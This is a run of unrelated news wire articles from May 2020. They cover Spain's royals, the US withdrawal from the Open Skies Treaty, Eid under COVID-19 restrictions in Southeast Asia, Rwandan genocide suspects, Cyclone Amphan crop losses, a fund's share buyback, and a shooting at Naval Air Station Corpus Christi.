The Spanish royals (pictured) who appeared business as usual, were praised for showing commitment towards helping the sector to overcome the crisis

The CEC estimates that 20 per cent of business in the sector may have to permanently close their doors if they're not given effective aid.

The majority of establishments throughout Spain have had their doors closed for the past two months without any income.

According to the CEC, consumer confidence is also low, prompting the need for an awareness campaign that encourages people to purchase from small businesses to ensure their survival.

The CEC also discussed with Queen Letizia and King Felipe the need for an economic support plan as the country prepares to ease out of lockdown.

As Spain's lockdown eased this month, the couple have begun undertaking meetings and appearances in person once-again

The royals first made an appearance in public to pay a visit to Madrid's 112 Emergency Center earlier this month

Last month, the couple paid their respects to the victims of coronavirus in their first public outing since lockdown.

The royal couple paid a visit to Madrid's 112 Emergency Center where they wore masks as they observed a minute's silence in memory of the Spanish victims of COVID-19.

The couple were joined by Regional President Isabel Diaz Ayuso and Madrid's Regional Vice President Ignacio Aguado, as they stood for the silent tribute.

Social distancing was strictly observed throughout the visit.
Washington, May 22 : The US has announced it will pull out from a major accord that permits unarmed aerial surveillance flights over dozens of participating countries.

The Open Skies Treaty came into force in 2002 and is designed to boost confidence and assure against attacks. But senior US officials said the country was withdrawing due to repeated Russian violations of its terms, the BBC reported.

US President Donald Trump later said there was a "very good chance we'll reach a new agreement" with Russia.

"I think we have a very good relationship with Russia, but Russia didn't adhere to the treaty," Trump said on Thursday, adding: "Until they adhere we will pull out." The US will formally withdraw from the accord in six months, officials said.

"During the course of this review it has become abundantly clear that it is no longer in America's interests to remain a party to the Open Skies Treaty," one official told Reuters news agency.

Some 35 nations are party to the treaty, including Russia, Canada and the UK.

Russia's Foreign Ministry insisted that it had not violated the treaty and that a US withdrawal would be "very regrettable", adding that the Trump administration was working to "derail all agreements on arms control".

"We reject any attempts to justify a way out of this fundamental agreement," Russian Deputy Foreign Minister Alexander Grushko told Russia's state-owned RIA Novosti news agency, the BBC reported.

"Nothing prevents continuing the discussions over the technical issues, which the US is misrepresenting as violations by Russia," he added.

He said that any withdrawal would affect the interests of all of the treaty's participants, who are also members of the North Atlantic Treaty Organisation (Nato).

In abandoning the Open Skies Treaty, the Trump Administration is not just renouncing an arms control agreement that was seen as essential for transparency during the Cold War years, but he is also ditching an agreement that many experts believe still retains huge benefits for the US.

The fact it comes at a time when the whole structure of arms control is collapsing and a new era of great power competition beckons is doubly troubling.

The Open Skies Treaty came into force in January 2002 and some 34 countries have ratified the agreement. It allows for unarmed short-notice reconnaissance flights by specially equipped aircraft, over the entire territory of another country to collect data on troop deployments, military facilities and so on.

There have been some problems in recent years and the US contends - with some justification - that Russia has been preventing access to certain areas. But critics of the Trump administration's antipathy towards arms control say this is a reason for fixing the treaty, not abandoning it.

Trump seems to be holding out at least a chance that the US could stick with Open Skies, but that is clearly going to depend upon talks with Moscow.

The Russian Foreign ministry says that a US withdrawal will affect the interests of all the participants. While the US can clearly use satellites for its intelligence gathering on Russia, Trump's decision will cause tensions with Washington's European allies, few of whom have such satellite access.
Her PR empire may have taken a hit due to COVID-19.

But that hasn't stopped Roxy Jacenko from keeping the business from going by working from home.

On Friday, the 39-year-old gave fans a glimpse of her stylish home office inside of her Vaucluse mansion.

Sleek table, feather lamp, a bouquet of white flowers and striking artwork: On Friday PR queen Roxy Jacenko showed off her stylish home office

She shared an outtake photo of the room during a photo shoot, showing herself behind the desk and the space in all its luxurious glory.

The room featured a long table with a sleek HP desktop computer, a feather lamp and a bouquet of white flowers in a vase.

On the wall beside the computer was a striking blue abstract artwork that contrasted that room's neutral colour palette, along with an inbuilt shelf behind the desk.

Simply stylish: The room featured a long table with a sleek HP desktop computer, a feather lamp and a bouquet of white flowers in a vase

View of the room: She also shared an outtake photo of the room during a photo shoot, showing herself behind the desk and the space in all its luxurious glory

Roxy also shared a picture of the other side of the room which featured a beige lounge and an abstract black-and-white art work.

The area was also featured a coffee table with books, luxurious Diptyque candles and a vase with white flowers.

The PR queen's elegantly styled home office comes after she revealed she has lost 85 per cent of her clients as a result of the COVID-19 pandemic.

Chic: Roxy also shared a picture of the other side of the room which featured a beige lounge and an abstract black-and-white art work

Although Sweaty Betty PR has taken a hit, Roxy said she was lucky enough to have diversified her business to create five companies in total.

She told Daily Mail Australia last month that she is still working, but in shorter hours and from home.

'Whilst Sweaty Betty PR was hit hard by COVID-19 I diversified many years ago,' she said.

'I am in a good position with my other agencies operating as normal - 18Communications, Social Union, The Ministry of Talent not to mention my personal investments,' she added.
An imam wears a face shield while preaching during Friday prayers at the central mosque in Narathiwat province in southern Thailand, May 22, 2020.

Muslims across the region are preparing to quietly mark Eid al-Fitr, the holiday at the end of the fasting month of Ramadan that normally draws celebrations bringing thousands together, as COVID-19 cases multiply and Bangladesh also recovers from Cyclone Amphan.

Countries have set their own requirements for prayers at mosques and travel for Eid, which falls on Sunday throughout most of the region. But social distancing and the wearing of masks replace hugs that Muslims expect to share while rejoicing over the end of Ramadan and its daily fast.

The spirt of Eid is to hug, shake hands, visit the homes of relatives and share food with people from all walks of life. But this year, we have to be indoors and turn away people who come to our house, Dhaka resident Golam Nabi Babu told BenarNews. This is completely against the spirit of Eid.

In Thailand, many Muslims who had dealt with bans on Friday prayers and Ramadan-time tarawih prayers throughout most of the fasting month received a reprieve this week, just in time for the end of Ramadan, which they will celebrate on Sunday.

All mosques, including those in the Thai Deep South, which is home to 2 million Muslims in the Buddhist-majority nation, returned to normal, meaning believers could congregate as long as they followed social distancing regulations.

In Jakarta, Indonesias National Mosque is on lockdown until June 4 and will be closed Sunday as the worlds most populous Muslim-majority nation marks Eid.

Elsewhere, the nation maintains red, yellow and green zones, establishing different rules from a complete lockdown to allowing some gatherings as long as social distancing is maintained.

In addition, the government has banned the annual tradition of returning home for the holiday (mudik). Despite the ban, authorities have reported an increase in traffic in the greater Jakarta region and many are using public transportation to get home.

The Institute for Policy Analysis of Conflict, a Jakarta-based think-tank, said in a report this week that confusing signals sent out by the government and the nations religious authorities over Ramadan-time movements could aggravate the coronavirus pandemic.

With the confusion and the inconsistencies on the part of the government and the deep emotional ties to the annual family gathering at the end of Ramadan, new clusters of Covid-19 cases are almost certain to emerge, IPAC said.

In Malaysia, authorities made nearly 10,000 motorists turn around since Monday after they tried to return to their hometowns despite a ban on interstate travel as a measure to contain the spread of the virus.

Special Eid prayers at mosques will be allowed in four states  Perak, Kedah, Johor, and the Federal Territory  but the number of attendees will be limited to between 12 and 30 depending on the location, officials said.

In Bangladesh, where Eid falls on Monday, the government has ordered that Eid prayers be cancelled at the National Eidgah, the prayer ground in front of the Supreme Court where hundreds of thousands of Muslims normally gather.

In the mainly Catholic Philippines, Filipino Muslims are faced with a quiet holiday as the government, driven to slow the COVID-19 pandemic, has maintained its ban on mass gatherings in houses of religion, including mosques, in place since Ramadan began.

But in Marawi, a Muslim city in the south, Eid will arrive as residents mark the third anniversary of an assault on their hometown by pro-Islamic State militants, who engaged government forces in a five-month battle that destroyed the city.

Mohammad Agakhan Sharief, a local religious leader, is among nearly 100,000 residents who remain displaced and have been barred from reoccupying their homes in the city, which largely remains uninhabitable and strewn with unexploded bombs, according to officials.

The temporary shelters are too small for the evacuees, he told BenarNews.

Let us go home. We have been suffering too much already.

A seller arranges special cookies prepared for Eid al-Fitr along with chips for sale at her food truck in Kuala Lumpur, May 22, 2020. [S. Mahfuz/BenarNews]

A seller arranges special cookies prepared for Eid al-Fitr along with chips for sale at her food truck in Kuala Lumpur, May 22, 2020. [S. Mahfuz/BenarNews]

Thais celebrate

Safie Jehloh, vice president of Narathiwat Islamic Committee in Thailands far south, said authorities had moved cautiously to reopen mosques, requiring imams to inform district offices in advance.

All pilgrims are required to go through thermal scanning, apply hand sanitizers, don facial masks, bring their own praying mats and stay one to two meters away from one another. They have to clean up the mosque right after prayers are done, Safie Jehloh told BenarNews on Friday.

The daily number of newly confirmed COVID-19 cases in Thailand has fallen to less than 10 per day during the past two weeks at least, according to figures released by the nation's health authorities.

Deep South resident Mahkose Abu said he was happy to be able to participate in Friday prayers at a mosque in Yala.

I felt weird not being able to have Friday prayers and tarawih prayers at the mosque, but now we can today  and we can do Eid prayers, too, so we rejoiced, Mahkose told BenarNews.

Suena Adae, a farmer in Yala, said she received 5,000 baht (U.S. $156) from the government ahead of Eid.

Im so glad I got the farmer relief aid so that I can buy dresses for my children and food for the Hari Raya celebration, Suena told BenarNews Thursday, using another term for Eid.

Meanwhile, thousands of Deep South Thais who work in Malaysia remain there away from their families because they were not able to cross the border.

I dont know what to say. I cry every time I think of my home. I miss my home, Patimoh Ngo-tali, who has worked at a Thai restaurant in Kuala Lumpur, told BenarNews by phone.

Malaysia stresses safety

Zulkifli Mohamad Al-Bakri, Malaysias minister for religious affairs, reminded those living in states that allow Eid prayers at mosques to adhere to the standard operating procedure issued by the Health Ministry.

Observe the one-meter social distancing in and out of the mosque and while performing prayers, members have to wear face masks, he said, adding that those age 70 and older, or 15 and younger, could not participate. Those who attend the prayers at the mosques will also need to take ablution at home and bring their own prayer mat.

Khatijah Ali, who works in Penang but is from Perak, said the government orders were necessary this year.

There is no assurance that we are free from the virus. Why cant we [make a] sacrifice this time around, as the front-liners have been doing since the beginning to treat those infected and to contain the virus? he told BenarNews.

Indonesians follow government guidelines

In Jakarta, an office worker said he had accepted that he could not return to Solo, his hometown in Central Java, and that the government had urged him and other Muslims to not perform Eid prayers in mosques or other public places.

For me, this years Eid is so sad because I cant see my family. But I can take comfort in the fact that none of us has been infected by the virus, Slamet Raharjo told BenarNews.

Jakarta resident Handayani, who goes by one name, also wished she could celebrate Eid with her family in Padang, West Sumatra province.

This is a somber Eid, but I must obey the government for the common good, she said.

Bangladeshis rush to board a ferry in Dhaka ahead of the Eid al-Fitr holiday, May 22, 2020. [BenarNews]

Bangladesh adapts

Bangladesh is facing an Eid like none before. The South Asian nation is contending with the ongoing COVID-19 pandemic while only just starting to dig out from the destruction of Cyclone Amphan, which struck southern and southwestern districts on Wednesday before changing course and heading inland.

During an ideal situation, hundreds of thousands of devotees gather at the National Eidgah to offer the Eid prayer. But we are forced to prohibit people from offering prayers because of the COVID-19 pandemic, Anis Mahmud, director general of the Islamic Foundation under the Ministry of Religious Affairs, told BenarNews.

He said Islamic scholars agreed that this step was necessary and mosques must maintain social distancing. Baitul Mukarram, the national mosque, will host five prayer periods to allow worshipers to socially distance from each other. Confirmed cases of the coronavirus have soared in Bangladesh lately, with health authorities recording daily increases topping 1,000 for at least five straight days since Monday.

Social distancing took a back seat to survival this week when authorities moved 2.2 million Bangladeshis to emergency shelters ahead of Amphan. The storm has been blamed for at least 23 deaths in Bangladesh and 80 in the neighboring Indian state of West Bengal.

In addition, on Friday, the government upended its previous ban and allowed people to travel to their homes to celebrate the Eid using vehicles other than the public transportation such as trains and buses.

Soon after the announcement, thousands of people began leaving Dhaka, many of them not paying attention to social distancing.

Mariyam Ahmad in Pattani, Thailand, Nisha David and Hadi Azmi in Kuala Lumpur, Kamran Reza Chowdhury in Dhaka, Arie Firdaus in Jakarta, and Jason Gutierrez in Manila contributed to this report.
The presidents of Israel and Poland have sent birthday greetings to a 101-year-old Polish woman who is believed to be the be oldest living person recognised by Yad Vashem for rescuing Jews during the Holocaust.

Reuven Rivlin of Israel and Andrzej Duda of Poland praised Anna Kozminska in separate letters for her courage in risking her own life to help Jews during the German occupation of Poland.

Rivlin expressed admiration and gratitude for your courageous acts of humanity and bravery during the dark days of the Second World War in Poland.

In his letter, Duda said he would bestow Kozminska with a special state medal.

The letters were delivered to her on her birthday Friday by Poland's chief rabbi, Michael Schudrich, and the niece of a boy saved during the war by Kozminska and her step-mother, Maria Kozminska.

They wore masks and sat with her on her porch outside her Warsaw home due to the coronavirus pandemic.

Schudrich said that Kozminska expressed surprise at receiving letters from the presidents.

Anna and Maria Kozminska took in 8-year-old Abraham Jablonski in 1942 and sheltered him for three years. They also helped rescue three other Jews.

Grazyna Pawlak, Jablonski's niece, gave Kozminska an album with photos of the family.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Ex-defence minister Augustin Bizimana, believed to have died in 2000, was indicted on genocide, murder and rape charges.

The remains of Augustin Bizimana, former Rwandan defence minister and one of the top suspects wanted over the countrys 1994 genocide, have been identified in a grave in the Republic of Congo, a United Nations war crimes prosecutor has said.

Serge Brammertz said Bizimana, who was indicted on 13 charges, including genocide, murder and rape, is believed to have died in Pointe Noire, in Congo, in 2000.

His remains were identified by DNA testing.

Bizimana was alleged to be responsible for the murders of former Prime Minister Agathe Uwilingiyimana and 10 Belgian United Nations peacekeepers, and for the murder of Tutsi civilians in five Rwandan regions, Brammertz said in a statement on Friday.

He is believed to have died around August 2000, based on the conclusive identification of Bizimanas remains in a gravesite in Pointe Noire, the Republic of the Congo, the Mechanism for International Criminal Tribunals (MICT) said in a statement.

Kabuga is accused of bankrolling and arming the ethnic Hutu fighters who killed 800,000 Tutsis and moderate Hutus over 100 days [AFP PHOTO/Mecanisme pour les Tribunaux penaux internationaux/Nations Unies]

The announcement of Bizimanas death follows the arrest in Paris last week of 84-year-old Felicien Kabuga, another of a handful of prominent suspects from the Rwandan genocide who had been on the run for more than 20 years.

On Wednesday, in his first appearance in public in more than two decades, Kabuga was brought into a French courtroom in a wheelchair, dressed in jeans and a blue jumper and wearing a face mask.

The courts three judges, who are due to decide whether to transfer Kabuga to the UN tribunal  adjourned the hearing to May 27. Kabugas lawyers said he wanted a trial in France and accused the countrys chief public prosecutor of trying to rush the legal process.

But Brammertz said a request had already been launched for Kabugas transfer into UN custody and that he could initially be held in The Hague rather than Africa because of coronavirus travel restrictions.

Kabuga has been indicted by UN prosecutors for genocide and incitement to commit genocide, among other charges. He is accused of bankrolling and arming the ethnic Hutu militias which killed 800,000 Tutsis and moderate Hutus over 100 days.

The International Criminal Tribunal for Rwanda conducted 50 trials before closing its doors in 2015.

Brammertz is the prosecutor of a successor UN court with dual offices in Arusha, Tanzania and The Hague, Netherlands, that continues to function for remaining suspects and appeals.

Brammertz said his office continues to pursue Protais Mpiranya, the former commander of the Presidential Guard of the Rwandan Armed Forces, and five other Rwandan suspects.
Terminally ill bride-to-be Samantha Gamble, whose case persuaded authorities in Northern Ireland to allow weddings for people in her circumstances, will on Friday marry her love Frankie Byrne.

Co Down woman Samantha (53), who was diagnosed with terminal cancer last July, and Frankie (54) were set to get married next Friday, but due to coronavirus restrictions the nuptials were cancelled.

However, when Samantha was rushed to hospital gravely ill three weeks ago, her husband-to-be set about moving mountains and getting legislation changed so he could call Samantha his wife.

Last week, Stormont's First and Deputy First Ministers, Arlene Foster and Michelle O'Neill, agreed to allow marriage ceremonies in which a person is terminally ill as part of the first steps in lifting lockdown measures.

As a result, on Friday Samantha and Frankie - who have three children between them - will tie the knot in a simple, heartfelt and poignant ceremony at their Loughbrickland home.

And in their first in-depth interview they took time out on Thursday from last-minute preparations to share the story of their romance, which since they went public last week has captured the hearts of people across Northern Ireland and beyond.

The couple first got together 12 years ago when Samantha, a school cleaner and dinner lady, and Frankie, who works for the Roads Service, met at a local bar. Initially, however, she refused to give him her telephone number.

"We have been together for 12 years now," says Samantha. "We met in the Downshire Hotel and Bar in Banbridge one evening. Frankie just came over and sat down beside me and started with his charm. It didn't actually work to start with. He was a good-looking man and we just sat and chatted.

Expand Close Samantha and Frankie on holiday together / Facebook

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Whatsapp Samantha and Frankie on holiday together

"But I wouldn't give him my phone number. My brother Simon was there with me and was encouraging me to give him my number, but I wouldn't and I just went home. But Frankie got hold of my number anyway. He persevered and he texted me a few days later."

Reflecting on the evening when he first set eyes on his bride-to-be, Frankie says that, for him, it was love at first sight.

"She just seemed like a beautiful woman sitting across the bar," he recalls. "There was a space beside her so I took that space. She wouldn't give me her number, but I got it from somewhere anyway. Samantha was definitely worth the chase."

Samantha says that their love was a slow-burner, starting off with text messages, then a drink in a local bar. After her initial brush-off, the couple became close and eventually were inseparable. "I warmed to him quite quickly," she says. "You couldn't not warm to Frankie, he is very charming. He found out where I lived and I was sitting one morning just out of bed, hair every shape, in my pyjamas and the back door opened and in he walked.

I wouldn't have been here without Frankie. Every second of every day he has done everything for me Samantha Gamble

"And I thought, if there is anything that will put you off me, this is it. But he came back again and it just progressed from there. We got closer and we went away on little trips and weekends and that was that.

"I don't know if there was a particular moment that left me thinking 'he's the one', but I just remember thinking 'I'm going to be with you, whatever obstacles there are, we are going to be together' and that was it, really.

"We had both been through a lot before, with marriage break-ups, and we were both in exactly the same situation."

Over the years life has thrown challenges their way, but they have helped each other through everything. They got engaged in early 2018, just before the couple faced the biggest challenge in their lives together, when Samantha was diagnosed with cancer.

"Frankie got down on one knee and proposed," she says. "I thought maybe he had had a drink or two and was taking the hand. But it was lovely and I said yes straight away. And here we are.

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Whatsapp Samantha with daughter Jessica

"I was diagnosed later that year. I wouldn't have been here without Frankie. Every second of every day he has done everything for me. Obviously I have had great help from family and friends also, but he is the one that has been there through everything. He is just amazing. I couldn't have got this far without him. He is why I am sitting here today."

When Samantha was diagnosed with cancer two years ago, the couple set off on a journey that neither of them had predicted or wanted. Recalling how their lives changed, she describes how doctors broke the news of her cancer.

"I had a lump in my knee in December 2018 and I had a scan which showed that I had a sarcoma," she says. "I had that removed and had radiotherapy and a knee replacement. In February the following year it all went wrong. I got a bad infection and had to have more surgery. I can walk on crutches but I'm left that my leg does nothing.

"When I was diagnosed it was so hard to take in that it was me the doctor was talking about. Frankie was right there beside me the whole time, holding my hand.

Those words that were said in the consultant's room changed my life Samantha Gamble

"I was fine for a while and waiting for reconstruction surgery. But then I had a routine X-ray in July of last year and it showed up that the cancer had spread to my lungs. That was a big blow. I started chemotherapy, but it affected the wound on my leg again, I kept getting infections, so the chemo had to stop. Then the doctors told me that there was no treatment available to me.

"When the doctors were telling me that, Frankie was there beside me. We both felt like they were telling someone else this news. It was like an out-of-body-experience."

Frankie struggled to take in the dire news about his partner.

"I couldn't believe that something that had started in her knee had gone to her lungs," he says. "They were telling us that on average you have a two-year life expectancy."

Now, the couple want to cherish the time they have been given together.

"We want to make the most of the time we have left," says Samantha. "Those words that were said in the consultant's room changed my life. For a while it really got me down. I was thinking, 'This is it. I'm not going to be around to see my grandchildren grow up.' It was horrendous. But then I thought, 'I can't do this. I have to be strong for myself, to get through every day.' And we did try to carry on as normal. We would have gone out for something to eat and even a walk around Tesco was a treat. We did try to live life as normal and then the coronavirus hit so we were locked down.

"Life has thrown many challenges at us, but love has remained throughout. And if anything, it has made that love stronger."

Things took a terrifying turn three weeks ago when Samantha was rushed to Craigavon Area Hospital with pains in her head. She was moved to the Cancer Centre at the City Hospital in Belfast shortly afterwards, where doctors found that the cancer had spread once more.

We didn't know what they were going to say in the hospital and we didn't want to know the prognosis was. Myself and Jessica sat in the kitchen and planned to get this marriage happening, no matter what it took Frankie Byrne

"Three weeks ago the pains in my neck and head started," she says. "I woke up in agony. I was screaming with pain and Frankie had to call an ambulance."

Frankie says that he was distraught seeing his wife-to-be in such agony, adding: "I was trying to tell the ambulance people what was wrong with Samantha while comforting her.

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"When the paramedics were taking her out the door I said to her, 'Samantha, please don't die. Please come back.'"

Samantha was rushed to hospital and had a CT scan and it showed that the cancer had spread to her spine and neck. She says the doctors and nurses "got her back" so that she could marry her love.

While she was in hospital, Frankie, along with Samantha's daughter Jessica, hatched a plan to ensure the couple could wed.

"When Samantha was in hospital, myself and Jessica thought, we need to get this marriage sorted," Frankie says.

"We didn't know what they were going to say in the hospital and we didn't want to know the prognosis was. Myself and Jessica sat in the kitchen and planned to get this marriage happening, no matter what it took. We contacted Samantha's cousin Vivienne and she started sending emails and making phone calls and it all snowballed from there.

"Then we went on Stephen Nolan's show. We sent emails to the Executive and anyone who would listen. But it kept coming back that it couldn't be done. But Vivienne wouldn't let it go. Eventually after 10 days the Executive gave in and said that they would allow it, because of the circumstances, and they changed the legislation.

"I set out to do this, all for Samantha. In my head I said that I won't give up on her until her last breath. I still won't."

While those she loved were moving mountains at home to ensure she got her dream wedding, Samantha was in hospital having little contact with the outside world - and little idea of what was being planned.

"The doctors and nurses told me they would get me back and so they did," she says. "They are heroes. The treatment that I have had from the hospital has been amazing.

"When I was in hospital I really had no contact with family outside," she says. "I wasn't well enough to ring Frankie or my family and they were just relying on ringing the hospital and I couldn't have visitors because of the virus.

"We were due to get married on May 29, next Friday. But the coronavirus put paid to that, and it was cancelled. I don't know how [Friday's wedding] happened. They all sorted it out while I was lying in hospital.

"I couldn't believe what they had done. The first I knew about it was when they told me to put the radio on to listen to the announcement on the news with Arlene and Michelle. I was just sitting there with the nurses, they were holding my hand. I was trying not to break down.

It means so much to be Frankie's wife. It just means the world that I can say 'That's my husband' and that we are together, through everything Samantha Gamble

"It is the most romantic thing that anyone has ever done for me. I couldn't believe it and I still can't believe that it's happening."

Samantha says that her wedding day will be a hugely emotional one - and very special. She says she can't wait to be Mrs Byrne.

"I think I'm the only one holding it together at the moment," she says. "I dread to think what it will be like, as the rest of them are all getting very emotional and I'm the one who is saying, 'Come on now, it's all going to be all right.' I think that might be because I'm resting and having everything done for me.

"My daughter got me a dress while I was in hospital. We tried it on and it fits perfectly. Frankie is giving me his mum Peggy's wedding ring, which means so much. It's actually his mum's anniversary on the day of our wedding. It means everyone will be there, in that regard.

"It means so much to be Frankie's wife. It just means the world that I can say 'That's my husband' and that we are together, through everything. I can't wait to be Mrs Byrne. The thing I want to remember most about our wedding day is me and Frankie standing there, taking our vows. It is going to be so special. My son and daughter, Stephen and Jessica, are going to be there and a long-time good friend of Frankie's is also going to be there. His son Stephen can't get back from Australia. We were restricted in the amount of people able to attend."

And just hours away from exchanging their vows, Samantha says: "Hopefully the sun will shine on us, but it doesn't matter, because today will be special anyway.

"If I could say anything to my future husband, it would be that he means the world to me, the whole world."

For his part, Frankie says he is greatly looking forward to the wedding and that his future wife is "his life".

He adds: "I didn't think I could ever be as happy with a person as I am with Samantha. She is my life and I can't imagine life without her."

Frankie and Samantha say that they are indebted to their friends, neighbours and even strangers who have rallied together to support them in their time of need. The Belfast Telegraph has made a donation to Newry Hospice and the couple have asked anyone who wishes to celebrate their wedding with them to also make a donation. You can make a donation online at www.southernareahospiceservices.org
Cyclone Amphan has ravaged the farming sector in at least 14 of the 23 districts in West Bengal and the loss incurred may create an all-time record, state Agriculture Minister Ashish Banerjee said on Friday.

According to initial estimates, Hooghly and Birbhum districts have incurred a loss of Rs 600 crore and Rs 462 crore respectively, Banerjee told PTI.

In East Midnapore, a coastal district, crops in around 47,000 hectares of land were destroyed, while 70 per cent and 50 per cent of paddy in Burdwan East and Bankura districts were lost, officials said.

The agriculture department is trying to collect data about the devastation from other districts.

"There are at least 14 districts where agriculture has been devastated. We have not received reports from all the districts as connectivity is yet to be fully restored. But from the initial reports, we can understand that the losses could be an all-time record," Banerjee said.

The minister held a meeting with Pradip Majumdar, the advisor to the chief minister on agriculture, and other senior officials at the state secretariat on Friday.

Chief Minister Mamata Banerjee has ordered to estimate the losses incurred in the horticulture and agriculture sectors due to Cyclone Amphan within a week.

In East Midnapore, paddy crop in around 30,000 hectares, sesame in around 12,000 hectares and vegetables in around 5,000 hectares of land have been lost due to the cyclone, a senior official of the agriculture department said.

Betel plant cultivation in the district has also been hit "very badly", he added.

"Farmers had hoped that after the lockdown is lifted, they will be able to sell their produce and compensate for their losses. The cyclone has thrashed all their hopes," the official told PTI.

Birbhum District Magistrate Moumita Godara said an estimation of the loss caused by Cyclone Amphan was being done and the picture will be clear in a day or two.

In Burdwan, most of the lands where paddy was cultivated have been inundated.

"We had managed to harvest only 30 per cent of the paddy cultivation. The rest is now under water. The entire paddy is lost," an official said.

In Bankura, there has been a huge loss in the harvesting of Boro paddy and vegetable farming.

"Around 50 per cent of the Boro paddy was lying in the fields. They are under water for two to three days.... So it is a total loss," a senior official of the agriculture department said.

The mango orchards in Murshidabad district were also badly hit by the cyclone, he added.

"Around 30 per cent of the mangoes have fallen from the trees during the cyclone. It will be very difficult for the farmers to make any profit. Rather, they are likely to incur a huge loss," the official told PTI.

The flower growers of Howrah and Hooghly districts are also severely affected, he said.

Several attempts to contact senior officials of South 24 Parganas, one of the worst-hit districts, failed because of connectivity issues.

The agriculture minister is slated to hold a meeting with officials of East and West Burdwan, Bankura and Birbhum districts on May 26 in connection with the estimation of the losses.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Regulatory News:

Pershing Square Holdings, Ltd. (LN:PSH) (LN:PSHD) (NA:PSH) ("PSH") today announced that it has purchased, through PSH's agent, Jefferies International Limited ("Jefferies"), the following number of PSH's Public Shares of no par value (ISIN Code: GG00BPFJTF46) (the "Shares"):

Trading Venue: London Stock Exchange Ticker: PSH Date of Purchase: 22 May 2020 Number of Public Shares purchased: 43,429 Shares Highest Price Paid Per Share: 1,784 pence 21.74 USD Lowest Price Paid Per Share: 1,772 pence 21.59 USD Average Price Paid Per Share: 1,777 pence 21.66 USD Ticker: PSHD Date of Purchase: 22 May 2020 Number of Public Shares purchased: 16,159 Shares Highest Price Paid Per Share: 21.65 USD Lowest Price Paid Per Share: 21.65 USD Average Price Paid Per Share: 21.65 USD Trading Venue: Euronext Amsterdam Ticker: PSH Date of Purchase: 22 May 2020 Number of Public Shares purchased: 50,989 Shares Highest Price Paid Per Share: 21.70 USD Lowest Price Paid Per Share: 21.35 USD Average Price Paid Per Share: 21.62 USD

PSH will hold these Public Shares in Treasury. The net asset value per Public Share related to this buyback is 32.52 USD 26.54 GBP which was calculated as of 19 May 2020 (the "Relevant NAV"). After giving effect to the above buyback, PSH has 197,560,107 Public Shares outstanding, or 203,432,608 Public Shares calculated on a fully diluted basis (assuming that all Management Shares had been converted into Public Shares at the Relevant NAV). Excluded from the shares outstanding are 13,396,643 Public Shares held in Treasury. The prices per Public Share were calculated by Jefferies.

The number of PSH Management Shares and the one special voting share (held by PS Holdings Independent Voting Company Limited) have not been affected.

About Pershing Square Holdings, Ltd.

Pershing Square Holdings, Ltd. (LN:PSH) (LN:PSHD) (NA:PSH) is an investment holding company structured as a closed-ended fund that makes concentrated investments principally in North American companies.

View source version on businesswire.com: https://www.businesswire.com/news/home/20200522005433/en/

Contacts:

Camarco

Ed Gascoigne-Pees Hazel Stevenson +44 020 3757 4989, media-pershingsquareholdings@camarco.co.uk
Chechen leader Ramzan Kadyrov reportedly suffers from the coronavirus disease COVID-19. He is among a growing group of high ranking Russian officials being infected with the virus, as Russia struggles to contain the outbreak.

By Stefan J. Bos



Chechen leader, Ramzan Kadyrov, left Russia's republic of Chechnya and was flown to Moscow for treatment after developing flu-like symptoms, Russian media said.



His doctor was said to have recommended he travel to the Russian capital. The 43-year old Kadyrov leaves behind a region where he has imposed his interpretation of Islamic law.



Though Kadyrov is now in a Moscow hospital, officials claimed he was still firmly in control and governing Chechnya. However, if confirmed, he would be the latest Russian official to contract the illness COVID-19.



Russian Prime Minister Mikhail Mishustin only returned to work in the last few days after being treated in hospital for the coronavirus disease.

And President Vladimir Putin's press secretary Dmitry Peskov also tested positive.

More ministers infected

Others include culture minister Olga Lyubimova and construction minister Vladimir Yakushev - as well as Yakushev's deputy, Dmitry Volkov. Officials say more than 3,000 people have died of the coronavirus in Russia, where medics have complained of a lack of protection and adequate equipment.

Outside Russia, several European countries try to reopen after months of lockdowns that frustrated millions. But authorities condemned large gatherings at beaches and parks in countries where Ascension Day is a national holiday.



Three towns in north-western France shut their beaches on Wednesday due to what authorities called the "unacceptable" failure of people to observe social-distancing rules.



Similar measures were also reported in countries such as the Netherlands. Even medics were fined, including 50 healthcare workers and three people for a protest outside a hospital in the French capital Paris.

More than 400 doctors, nurses, and other staff members wore scrubs and banged trays and pans there. They tried to demand better funding for the hospital, which French media reported faces financial troubles.
Locals and residents of a Direct Provision centre held a protest in Cahersiveen, calling for the closure of the centre.

Placards reading messages such as 'Department of Justice, admit YOU got this wrong' and 'Cahersiveen says yes to asylum seekers' and 'Cahersiveen says no to inhumane DPCs' were displayed.

This has been the second such protest and followed a largely angry reaction in Cahersiveen to an apology by Ministers Charlie Flanagan and David Stanton of the Department of Justice for problems arising from the opening of a Direct Provision Centre in the town during the Covid-19 crisis.

At least 25 residents at the Skellig Star Hotel turned Direct Provision Centre have now tested positive for Covid-19.

More than 30 of the first people to arrive, some with children, have been removed because of testing positive for Covid-19. The residents had been in lock down since around a week after the positive tests were confirmed on April 13.

Earlier this week, Minister Flanagan spoke on RTE radios Today with Sarah McInerney show  he said that either he or officials from his department are in contact with management of the direct provision centre in the former Skellig Star hotel on a daily basis.

He acknowledged that there had been problems with a boiler for hot water in the former hotel  this issue has still not been dealt with because of the difficulty in having it repaired during a pandemic. But, he said that every room has been furnished with an electrical heater and there are heaters in communal spaces.

The Minister said he could not travel to Cahersiveen to apologise directly to the people in direct provison at the Skellig Star Hotel because of Covid-19 restrictions.

Jack Fitzpatrick, chairman of the Cahersiveen social and business alliance said "no one" was looking for an apology. What everyone wants is for the centre to be closed because it is totally unsuitable, he said.

No one is looking for an apology  we are looking for a solution. And where is the solution? Mr Fitzpatrick said this week.
The F.B.I. is investigating an early Thursday morning shooting at Naval Air Station Corpus Christi that injured a member of the Naval Security Forces and killed the shooter. Initial reports say the attack was "terrorism-related," but no further details have been released.

According to officials familiar with the case, the suspect was identified as Adam Alsahli. He was pronounced dead at the scene. Investigators are still searching for a potential second suspect. F.B.I. Supervisor Senior Resident Agent Leah Greeves refused to discuss the motive.

The shooting reportedly began around 6:15 AM on Thursday at the Corpus Christi base. Alsahli tried to advance through a gate in a vehicle. The base's security personnel put up a barrier to stop the car. The shooter got out of the car and began opening fire at the personnel. During the gunfire, the Navy's security personnel shot and killed the suspect.

Alsahli injured one Navy sailor during the shooting. The injured security personnel was taken to a nearby hospital. She was treated for minor injuries and was later discharged.

The base was placed on lockdown for five hours following concerns the suspect might have an explosive device. Navy experts found nothing after a sweep the area and the car. A second sweep of the crime scene led the security personnel to recover an unspecified electronic media.

